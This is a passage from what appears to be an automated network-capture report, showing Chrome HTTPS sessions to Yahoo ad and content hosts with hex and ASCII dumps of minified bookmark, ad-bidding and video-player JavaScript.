sList.add(O)):(n&&e.setAttribute("data-ylk",s+";"+i),o&&e.setAttribute("title",o),e.classList.remove(O))}}},{key:"triggerTopicAction",value:function(t){var e=this._util,r=e.appId,i=e.actionHost,o=e.bookmarkActionHost,n=e.id,s=e.subType,c=e.subTypeCategory
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6f 6f 6b 6d 61 72 6b 22 3d 3d 3d 6c 3f 28 70 3d 22 64 65 6c 65 74 65 46 6f 6c 64 65 72 22 3d 3d 3d 73 3f 69 2b 22 61 70 69 2f 76 31 2f 62 6f 6f 6b 6d 61 72 6b 73 2f 66 6f 6c 64 65 72 73 2f 22 2b 6e 2b 22 3f 61 70 70 49 64 3d 22 2b 72 3a 69 2b 22 61 70 69 2f 76 31 2f 62 6f 6f 6b 6d 61 72 6b 73 2f 69 74 65 6d 73 2f 22 2b 6e 2b 22 3f 61 70 70 49 64 3d 22 2b 72 2c 62 3d 7b 43 72 75 6d 62 3a 74 7d 29 3a 22 6c 6f 63 61 74 69 6f 6e 22 3d 3d 3d 6c 26 26 28 6d 3d 7b 72 65 71 75 65 73 74 73 3a 7b 67 30 3a 7b 72 65 73 6f 75 72 63 65 3a 22 57 65 61 74 68 65 72 4c 6f 63 61 74 69 6f 6e 53 65 72 76 69 63 65 2e 66 61 76 6f 72 69 74 65 4c 6f 63 61 74 69 6f 6e 22 2c 6f 70 65 72 61 74 69 6f 6e 3a 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 3f 22 Data Ascii: ookmark"===l?(p="deleteFolder"===s?i+"api/v1/bookmarks/folders/"+n+"?appId="+r:i+"api/v1/bookmarks/items/"+n+"?appId="+r,b={Crumb:t}):"location"===l&&(m={requests:{g0:{resource:"WeatherLocationService.favoriteLocation",operation:this._state.actionStatus?"
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 67 65 72 54 6f 70 69 63 41 63 74 69 6f 6e 28 74 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 74 7c 7c 7b 7d 2c 61 3d 72 2e 72 65 73 75 6c 74 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 61 3f 7b 7d 3a 61 2c 63 3d 69 2e 73 75 63 63 65 73 73 2c 75 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 7b 7d 3a 63 2c 6c 3d 75 2e 65 6e 74 69 74 69 65 73 2c 70 3d 76 6f 69 64 20 30 3d 3d 3d 6c 3f 5b 5d 3a 6c 2c 66 3d 65 2e 5f 75 74 69 6c 2c 64 3d 66 2e 69 64 2c 6d 3d 66 2e 73 75 62 54 79 70 65 2c 68 3d 66 2e 74 79 70 65 2c 79 3d 7b 69 64 3a 64 2c 6e 61 6d 65 3a 73 2c 73 75 62 54 79 70 65 3a 6d 2c 74 79 70 65 3a 68 7d 2c 76 3d 22 66 6f 6c 6c 6f 77 22 3d 3d 3d 68 26 26 70 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 69 Data Ascii: gerTopicAction(t)}).then(function(t){var r=t\|\|{},a=r.result,i=void 0===a?{}:a,c=i.success,u=void 0===c?{}:c,l=u.entities,p=void 0===l?[]:l,f=e._util,d=f.id,m=f.subType,h=f.type,y={id:d,name:s,subType:m,type:h},v="follow"===h&&p.some(function(t){return t.i
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 2d 62 6f 75 6e 64 61 72 79 2d 65 72 72 6f 72 22 29 29 2c 65 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 3d 21 65 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 2c 65 2e 72 65 6e 64 65 72 41 63 74 69 6f 6e 54 65 6d 70 6c 61 74 65 28 7b 74 79 70 65 3a 22 65 72 72 6f 72 22 7d 29 2c 62 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 61 63 74 69 6f 6e 3a 66 61 69 6c 65 64 22 2c 7b 65 6c 65 6d 3a 6f 2c 6d 65 74 61 3a 7b 7d 7d 29 2c 65 2e 73 65 74 41 63 74 69 6f 6e 53 74 61 74 75 73 28 65 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f Data Ascii: ssList.add("wafer-action-boundary-error")),e._state.actionStatus=!e._state.actionStatus,e.renderActionTemplate({type:"error"}),b.emitWaferEvent("action:failed",{elem:o,meta:{}}),e.setActionStatus(e._state.actionStatus)})}},{key:"handleClick",value:functio
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6f 6e 48 6f 73 74 3a 6e 2c 61 70 70 49 64 3a 75 2c 62 6f 6f 6b 6d 61 72 6b 41 63 74 69 6f 6e 48 6f 73 74 3a 6c 2c 63 72 75 6d 62 3a 70 2c 70 72 6f 76 69 64 65 72 42 72 61 6e 64 50 72 6f 70 65 72 74 79 3a 66 2c 73 65 6c 65 63 74 6f 72 3a 69 7d 2c 57 61 66 65 72 43 6c 61 73 73 3a 4c 7d 29 29 2c 6d 3d 64 3b 72 65 74 75 72 6e 20 64 2e 73 79 6e 63 28 29 2c 64 2e 5f 73 74 61 74 65 3d 43 28 7b 7d 2c 64 2e 5f 73 74 61 74 65 2c 7b 69 64 49 6e 73 74 61 6e 63 65 4d 61 70 70 69 6e 67 3a 6e 65 77 20 4d 61 70 7d 29 2c 4c 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 63 74 69 6f 6e 53 74 61 74 75 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 6d 61 70 70 69 6e 67 49 64 2c 72 3d 6d 2e 5f 73 74 61 74 65 2e 69 64 49 6e 73 74 61 Data Ascii: onHost:n,appId:u,bookmarkActionHost:l,crumb:p,providerBrandProperty:f,selector:i},WaferClass:L})),m=d;return d.sync(),d._state=C({},d._state,{idInstanceMapping:new Map}),L.prototype.setActionStatus=function(t){var e=this._util.mappingId,r=m._state.idInsta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49859	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	720	OUT	GET /ucreative.php?cv=1 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:12 UTC	342	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 7668 Content-Type: application/javascript x-mnet-hl2: E Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Cache-Control: max-age=432000 Expires: Mon, 15 Jan 2024 23:27:12 GMT Date: Wed, 10 Jan 2024 23:27:12 GMT Connection: close
2024-01-10 23:27:12 UTC	3335	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 69 73 53 65 74 28 76 61 6c 29 20 7b 0a 20 20 20 20 73 77 69 74 63 68 20 28 74 79 70 65 6f 66 20 76 61 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 63 61 73 65 20 22 73 74 72 69 6e 67 22 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 76 61 6c 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 26 26 20 76 61 6c 20 21 3d 3d 20 22 22 20 26 26 20 76 61 6c 20 21 3d 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 20 20 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 76 61 6c 20 21 3d 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 20 20 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 0a 20 20 20 20 20 20 20 20 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 Data Ascii: function isSet(val) { switch (typeof val) { case "string": return val !== undefined && val !== "" && val !== null; case "object": return val !== null; case "number": case "boolean": r
2024-01-10 23:27:12 UTC	4333	IN	Data Raw: 65 72 3a 20 68 62 54 61 72 67 65 74 69 6e 67 50 61 72 61 6d 73 2e 62 69 64 64 65 72 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 73 45 78 74 65 72 6e 61 6c 3a 20 68 62 54 61 72 67 65 74 69 6e 67 50 61 72 61 6d 73 2e 69 73 45 78 74 65 72 6e 61 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 73 50 6d 70 3a 20 68 62 54 61 72 67 65 74 69 6e 67 50 61 72 61 6d 73 2e 69 73 50 6d 70 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 73 74 6f 6d 4f 62 6a 3a 20 68 62 43 75 73 74 6f 6d 50 61 72 61 6d 73 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 3b 0a 20 20 20 20 7d 0a 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 Data Ascii: er: hbTargetingParams.bidder, isExternal: hbTargetingParams.isExternal, isPmp: hbTargetingParams.isPmp, customObj: hbCustomParams }); } else { throw new Error(); }} catch (e) { function hand

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49858	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	718	OUT	GET /ss/nes/player.js HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:12 UTC	370	IN	HTTP/1.1 200 OK Content-Length: 266875 Content-Type: text/javascript; charset=utf-8 ETag: 8782330472086327949 Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Pragma: max-age=604800 Cache-Control: max-age=1800 Expires: Wed, 10 Jan 2024 23:57:12 GMT Date: Wed, 10 Jan 2024 23:27:12 GMT Connection: close
2024-01-10 23:27:12 UTC	3388	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 72 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 2c 6e 2e 72 3d 66 75 6e Data Ascii: !function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=fun
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 43 68 69 6c 64 28 61 5b 74 5d 29 2c 61 2e 6c 65 6e 67 74 68 3f 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6f 2c 61 5b 74 5d 29 3a 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 2e 63 73 73 2c 69 3d 6e 2e 6d 65 64 69 61 2c 6f 3d 6e 2e 73 6f 75 72 63 65 4d 61 70 3b 69 66 28 69 3f 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 65 64 69 61 22 2c 69 29 3a 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 6d 65 64 69 61 22 29 2c 6f 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 74 6f 61 26 26 28 72 2b 3d 22 5c 6e 2f 2a 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 62 61 Data Ascii: Child(a[t]),a.length?e.insertBefore(o,a[t]):e.appendChild(o)}}function p(e,t,n){var r=n.css,i=n.media,o=n.sourceMap;if(i?e.setAttribute("media",i):e.removeAttribute("media"),o&&"undefined"!=typeof btoa&&(r+="\n/*# sourceMappingURL=data:application/json;ba
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 6f 28 69 28 65 29 2c 74 29 7d 7d 2c 33 35 30 31 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 65 78 70 6f 72 74 73 3d 7b 7d 7d 2c 38 34 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 37 38 35 34 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 72 2e 63 6f 6e 73 6f 6c 65 3b 6e 26 26 6e 2e 65 72 72 6f 72 26 26 28 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 6e 2e 65 72 72 6f 72 28 65 29 3a 6e 2e 65 72 72 6f 72 28 65 2c 74 29 29 7d 7d 2c 34 39 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 35 30 30 35 29 3b 65 2e 65 78 70 6f 72 74 73 3d 72 28 22 64 6f 63 75 6d 65 6e 74 22 2c 22 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 22 29 7d 2c 34 Data Ascii: o(i(e),t)}},3501:function(e){e.exports={}},842:function(e,t,n){var r=n(7854);e.exports=function(e,t){var n=r.console;n&&n.error&&(1==arguments.length?n.error(e):n.error(e,t))}},490:function(e,t,n){var r=n(5005);e.exports=r("document","documentElement")},4
2024-01-10 23:27:12 UTC	4564	IN	Data Raw: 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 32 2c 6e 75 6c 6c 21 3d 65 2e 65 78 65 63 28 22 73 74 72 22 29 7d 29 29 3b 65 2e 65 78 70 6f 72 74 73 3d 7b 42 52 4f 4b 45 4e 5f 43 41 52 45 54 3a 73 2c 4d 49 53 53 45 44 5f 53 54 49 43 4b 59 3a 61 2c 55 4e 53 55 50 50 4f 52 54 45 44 5f 59 3a 6f 7d 7d 2c 39 34 34 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 37 32 39 33 29 2c 69 3d 6e 28 37 38 35 34 29 2e 52 65 67 45 78 70 3b 65 2e 65 78 70 6f 72 74 73 3d 72 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 69 28 22 2e 22 2c 22 73 22 29 3b 72 65 74 75 72 6e 21 28 65 2e 64 6f 74 41 6c 6c 26 26 65 2e 65 78 65 63 28 22 5c 6e 22 29 26 26 22 73 22 3d 3d 3d 65 2e 66 6c 61 67 73 29 7d 29 29 7d 2c 37 31 36 38 3a 66 75 Data Ascii: return e.lastIndex=2,null!=e.exec("str")}));e.exports={BROKEN_CARET:s,MISSED_STICKY:a,UNSUPPORTED_Y:o}},9441:function(e,t,n){var r=n(7293),i=n(7854).RegExp;e.exports=r((function(){var e=i(".","s");return!(e.dotAll&&e.exec("\n")&&"s"===e.flags)}))},7168:fu
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 64 20 30 3d 3d 3d 74 26 26 28 74 3d 22 6e 75 6d 62 65 72 22 29 2c 73 28 65 2c 74 29 7d 7d 2c 34 39 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 37 35 39 33 29 2c 69 3d 6e 28 32 31 39 30 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 72 28 65 2c 22 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 69 28 74 29 3f 74 3a 74 2b 22 22 7d 7d 2c 31 36 39 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 7b 7d 3b 72 5b 6e 28 35 31 31 32 29 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 5d 3d 22 7a 22 2c 65 2e 65 78 70 6f 72 74 73 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 3d 3d 3d 53 74 72 69 6e 67 28 72 29 7d 2c 31 33 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 Data Ascii: d 0===t&&(t="number"),s(e,t)}},4948:function(e,t,n){var r=n(7593),i=n(2190);e.exports=function(e){var t=r(e,"string");return i(t)?t:t+""}},1694:function(e,t,n){var r={};r[n(5112)("toStringTag")]="z",e.exports="[object z]"===String(r)},1340:function(e,t,n)
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 28 21 44 7c 7c 42 7c 7c 77 7c 7c 6b 7c 7c 67 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 56 5b 43 5d 3d 21 31 2c 54 28 55 29 21 3d 55 7c 7c 54 28 56 29 3d 3d 56 7c 7c 22 2f 61 2f 69 22 21 3d 54 28 55 2c 22 69 22 29 7d 29 29 29 29 29 7b 66 6f 72 28 76 61 72 20 46 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 2c 61 2c 6c 2c 66 3d 75 28 50 2c 74 68 69 73 29 2c 76 3d 64 28 65 29 2c 6d 3d 76 6f 69 64 20 30 3d 3d 3d 74 2c 67 3d 5b 5d 2c 62 3d 65 3b 69 66 28 21 66 26 26 76 26 26 6d 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 46 29 72 65 74 75 72 6e 20 65 3b 69 66 28 28 76 7c 7c 75 28 50 2c 65 29 29 26 26 28 65 3d 65 2e 73 6f 75 72 63 65 2c 6d 26 26 28 74 3d 70 28 62 29 29 29 2c 65 3d 76 6f 69 64 20 30 3d Data Ascii: (!D\|\|B\|\|w\|\|k\|\|g((function(){return V[C]=!1,T(U)!=U\|\|T(V)==V\|\|"/a/i"!=T(U,"i")}))))){for(var F=function(e,t){var n,r,i,o,a,l,f=u(P,this),v=d(e),m=void 0===t,g=[],b=e;if(!f&&v&&m&&e.constructor===F)return e;if((v\|\|u(P,e))&&(e=e.source,m&&(t=p(b))),e=void 0=
2024-01-10 23:27:12 UTC	7952	IN	Data Raw: 41 3b 41 41 35 42 46 3b 41 41 67 43 41 3b 45 41 43 45 2c 6b 42 41 41 41 3b 45 41 43 41 2c 4d 41 41 41 3b 45 41 43 41 2c 4f 41 41 41 3b 45 41 43 41 2c 53 41 41 41 3b 45 41 43 41 2c 55 41 41 41 3b 45 41 43 41 2c 73 42 41 41 41 3b 45 41 43 41 2c 75 42 41 41 41 3b 45 41 43 41 2c 61 41 41 41 3b 45 41 43 41 2c 63 41 41 41 3b 45 41 43 41 2c 6d 42 41 41 41 3b 41 41 39 42 46 3b 41 41 69 43 41 3b 45 41 43 45 2c 57 41 41 41 3b 45 41 43 41 2c 59 41 41 41 3b 45 41 43 41 2c 6b 42 41 41 41 3b 45 41 43 41 2c 4f 41 41 41 3b 45 41 43 41 2c 4d 41 41 41 3b 45 41 43 41 2c 53 41 41 41 3b 45 41 43 41 2c 55 41 41 41 3b 45 41 43 41 2c 61 41 41 41 3b 45 41 43 41 2c 63 41 41 41 3b 45 41 43 41 2c 65 41 41 41 3b 41 41 2f 42 46 3b 41 41 6b 43 41 3b 45 41 43 45 2c 6b 42 41 41 41 3b 45 Data Ascii: A;AA5BF;AAgCA;EACE,kBAAA;EACA,MAAA;EACA,OAAA;EACA,SAAA;EACA,UAAA;EACA,sBAAA;EACA,uBAAA;EACA,aAAA;EACA,cAAA;EACA,mBAAA;AA9BF;AAiCA;EACE,WAAA;EACA,YAAA;EACA,kBAAA;EACA,OAAA;EACA,MAAA;EACA,SAAA;EACA,UAAA;EACA,aAAA;EACA,cAAA;EACA,eAAA;AA/BF;AAkCA;EACE,kBAAA;E
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 5d 2c 73 6f 75 72 63 65 4d 61 70 3a 63 5b 33 5d 2c 73 75 70 70 6f 72 74 73 3a 63 5b 34 5d 2c 6c 61 79 65 72 3a 63 5b 35 5d 7d 3b 69 66 28 2d 31 21 3d 3d 68 29 74 5b 68 5d 2e 72 65 66 65 72 65 6e 63 65 73 2b 2b 2c 74 5b 68 5d 2e 75 70 64 61 74 65 72 28 70 29 3b 65 6c 73 65 7b 76 61 72 20 66 3d 69 28 70 2c 72 29 3b 72 2e 62 79 49 6e 64 65 78 3d 73 2c 74 2e 73 70 6c 69 63 65 28 73 2c 30 2c 7b 69 64 65 6e 74 69 66 69 65 72 3a 64 2c 75 70 64 61 74 65 72 3a 66 2c 72 65 66 65 72 65 6e 63 65 73 3a 31 7d 29 7d 61 2e 70 75 73 68 28 64 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 64 6f 6d 41 50 49 28 74 29 3b 72 65 74 75 72 6e 20 6e 2e 75 70 64 61 74 65 28 65 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 Data Ascii: ],sourceMap:c[3],supports:c[4],layer:c[5]};if(-1!==h)t[h].references++,t[h].updater(p);else{var f=i(p,r);r.byIndex=s,t.splice(s,0,{identifier:d,updater:f,references:1})}a.push(d)}return a}function i(e,t){var n=t.domAPI(t);return n.update(e),function(t){if
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 20 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 29 7b 76 61 72 20 72 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 26 26 28 6e 3d 28 6e 3d 72 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 74 29 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 72 65 74 75 72 6e 28 6e 3d 6e 2e 74 6f 53 74 72 69 6e 67 28 29 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 26 26 28 6e 3d 6e 2e 72 65 70 6c 61 63 65 28 22 70 78 22 2c 22 22 29 29 2c 70 61 72 73 65 46 6c 6f 61 74 28 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 6e 75 6c 6c 46 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 7b 6b 65 79 3a 22 63 72 Data Ascii: window.getComputedStyle){var r=window.getComputedStyle(e,null);r&&(n=(n=r.getPropertyValue(t)).toString().toLowerCase())}return(n=n.toString()).indexOf("px")>-1&&(n=n.replace("px","")),parseFloat(n)}},{key:"nullFn",value:function(){return null}},{key:"cr
2024-01-10 23:27:12 UTC	7952	IN	Data Raw: 68 69 73 2e 69 63 6f 6e 73 44 61 74 61 5b 65 5d 2e 69 63 6f 6e 43 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 29 3b 76 61 72 20 69 3d 74 68 69 73 2e 69 63 6f 6e 73 44 61 74 61 5b 65 5d 2e 69 63 6f 6e 43 6c 69 63 6b 54 72 61 63 6b 69 6e 67 55 72 6c 73 3b 69 2e 6c 65 6e 67 74 68 3e 30 26 26 69 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 75 72 6c 26 26 4f 2e 70 69 6e 67 55 52 49 2e 63 61 6c 6c 28 72 2c 65 2e 75 72 6c 29 7d 29 29 7d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 22 2e 63 6f 6e 63 61 74 28 6e 2e 63 6f 6e 73 6f 6c 65 50 72 65 70 65 6e 64 2c 22 20 49 63 6f 6e 56 69 65 77 54 72 61 63 6b 69 6e 67 20 66 6f 72 20 69 63 6f 6e 20 61 74 20 69 6e 64 65 78 20 22 29 2e 63 6f 6e 63 61 74 28 65 29 2c 6e 2e 63 6f 6e 73 6f 6c 65 53 Data Ascii: his.iconsData[e].iconClickThroughUrl);var i=this.iconsData[e].iconClickTrackingUrls;i.length>0&&i.forEach((function(e){e.url&&O.pingURI.call(r,e.url)}))},V=function(e){"".concat(n.consolePrepend," IconViewTracking for icon at index ").concat(e),n.consoleS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49867	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	541	OUT	GET /aaq/wf/wf-template-1.4.3-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: qiaeIVZnur3QIzadcxnYZTP9qiei8zM6pMOBZPG5hM15MA9rn5IlMSZ4sUGfSWgmtjwgqvuKl+Q= x-amz-request-id: 89ABJNVMFFSKBJ4D Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Wed, 21 Sep 2022 02:22:21 GMT ETag: "85070595d47a7cc86af31833110dc18a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: h9L3Y9Rw_EkQ1yH8NskMO9BjqcI4jexa Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 7907 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
